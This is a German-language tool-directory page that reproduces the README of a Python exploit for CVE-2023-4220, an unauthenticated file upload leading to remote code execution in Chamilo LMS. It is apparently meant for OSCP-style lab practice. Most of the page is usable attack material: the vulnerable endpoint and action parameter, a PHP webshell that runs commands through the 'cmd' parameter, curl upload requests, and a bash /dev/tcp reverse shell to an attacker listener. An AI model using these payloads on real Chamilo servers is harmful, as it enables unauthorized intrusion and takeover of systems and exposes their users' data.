Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — Unauthenticated Datei-Upload RCE in Chamilo LMS ≤ 1.11.24. OSCP-Stil und Auto-Exploit. | Kitploit
Tools/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Unauthenticated Datei-Upload RCE in Chamilo LMS ≤ 1.11.24. OSCP-Stil und Auto-Exploit.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ChamiloLMS CVE-2023-4220 Exploit

Python-Exploit für CVE-2023-4220, eine nicht authentifizierte Schwachstelle zum Hochladen beliebiger Dateien, die Chamilo LMS <= 1.11.24 betrifft.

Die Schwachstelle befindet sich in Chamilo's BigUpload-Komponente. Bei verwundbaren Installationen erlaubt der Upload-Handler das Hochladen einer PHP-Datei ohne ordnungsgemäße Validierung. Da hochgeladene Dateien in einem über das Web zugänglichen Verzeichnis gespeichert werden, kann die hochgeladene PHP-Datei direkt aufgerufen und als Webshell verwendet werden, sofern PHP-Ausführung aktiviert ist.

Dieses Repository enthält zwei Versionen des Exploits:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Beide Skripte laden eine PHP-Webshell hoch, überprüfen die Befehlsausführung und ermöglichen die Ausführung von Befehlen über den GET-Parameter cmd. Der einzige praktische Unterschied liegt im Umgang mit --shell.

Die auto-Version startet einen eigenen Listener, löst die Reverse-Shell aus und wechselt automatisch in eine interaktive Sitzung.

Die oscp-Version löst das Reverse-Shell-Payload aus, startet jedoch keinen Listener. Sie müssen Ihren Listener vor der Ausführung manuell starten.


Installation

Klonen Sie das Repository:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Installieren Sie die Abhängigkeiten:

root@kitploit:~
python3 -m pip install -r requirements.txt

Die einzige externe Abhängigkeit ist requests, daher kann sie auch manuell installiert werden:

root@kitploit:~
python3 -m pip install requests

Verwendung

Das Ziel wird mit -u oder --url angegeben:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Die gleichen Optionen sind in beiden Skripten verfügbar:

root@kitploit:~
-u, --url              Ziel-Basis-URL
--check               Prüfen, ob das BigUpload-Dateiverzeichnis erreichbar ist
--upload              Webshell hochladen und Befehlsausführung bestätigen
--cmd CMD             Einzelnen Befehl über die hochgeladene Webshell ausführen
--shell LHOST LPORT   Reverse-Shell auslösen
--filename NAME       Benutzerdefinierten Dateinamen für die hochgeladene PHP-Datei verwenden
--proxy PROXY         Traffic über einen Proxy senden, z. B. Burp Suite
--timeout SECONDS     HTTP-Timeout setzen
--verify-tls          TLS-Zertifikatsprüfung aktivieren
--cleanup             Versuchen, die hochgeladene Webshell nach der Ausführung zu entfernen

Die automatische Version enthält außerdem:

root@kitploit:~
--listen-timeout SEC  Zeit, die auf die Reverse-Shell-Verbindung gewartet werden soll

Grundlegende Beispiele

Prüfen, ob der erwartete BigUpload-Pfad erreichbar ist:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

PHP-Webshell hochladen und Befehlsausführung bestätigen:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Einen einzelnen Befehl ausführen:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Benutzerdefinierten Dateinamen verwenden:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Traffic durch Burp Suite senden:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Die obigen Beispiele verwenden das auto-Skript, aber die gleiche Syntax kann mit chamilo_cve_2023_4220_oscp.py verwendet werden.


Reverse Shell

Die Option --shell ist in beiden Skripten vorhanden, verhält sich jedoch je nach verwendeter Version unterschiedlich.

Automatische Version

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Diese Version startet einen lokalen Listener auf 10.10.14.3:4444, lädt die Webshell hoch, löst die Reverse-Shell aus und öffnet die interaktive Sitzung automatisch.

Sie müssen nc bei dieser Version nicht manuell ausführen.

OSCP-ähnliche Version

Starten Sie zuerst Ihren Listener manuell:

root@kitploit:~
sudo nc -nlvp 4444

Führen Sie dann den Exploit von einem anderen Terminal aus:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Diese Version sendet nur das Reverse-Shell-Payload über die hochgeladene Webshell. Die Verbindung wird von Ihrem manuell gestarteten Listener empfangen.

Der von beiden Skripten ausgelöste Reverse-Shell-Befehl entspricht:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Stellen Sie sicher, dass der LHOST-Wert vom Ziel aus erreichbar ist. In VPN-Umgebungen ist dies normalerweise Ihre Tunnel-Schnittstellenadresse:

root@kitploit:~
ip -brief addr show tun0

Schwachstellendetails

CVE-2023-4220 betrifft Chamilo LMS-Versionen bis einschließlich 1.11.24.

Der verwundbare Upload-Handler befindet sich unter:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

Die Aktion, die vom Exploit ausgenutzt wird, ist:

root@kitploit:~
?action=post-unsupported

Hochgeladene Dateien sind üblicherweise erreichbar unter:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

Der Exploit sendet eine multipart/form-data-POST-Anfrage unter Verwendung des von BigUpload erwarteten Formularfeldes:

root@kitploit:~
bigUploadFile

Das hochgeladene PHP-Payload ist ein kleiner Befehlswrapper:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Befehle werden über den GET-Parameter cmd übergeben:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

Die Markierungen um die Befehlsausgabe werden verwendet, um den relevanten Teil der HTTP-Antwort zu extrahieren.


Manuelle Anfrage

Der von den Skripten durchgeführte Upload entspricht:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Nach einem erfolgreichen Upload kann die Befehlsausführung getestet werden mit:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Hinweise

--check überprüft nur, ob das erwartete BigUpload-Dateiverzeichnis erreichbar ist. Ein positives Ergebnis garantiert nicht, dass das Ziel ausnutzbar ist.

Eine vollständige Validierung erfordert das Hochladen des PHP-Payloads und das Bestätigen der Befehlsausführung mit --upload oder --cmd.

Wenn der Upload funktioniert, die Befehlsausführung jedoch fehlschlägt, könnte die PHP-Ausführung im Upload-Verzeichnis deaktiviert sein, das Ziel könnte gepatcht sein oder eine serverseitige Regel blockiert die Anfrage.

Verwenden Sie --cleanup, wenn das Skript versuchen soll, die hochgeladene PHP-Datei nach der Ausführung zu entfernen.

Tool herunterladen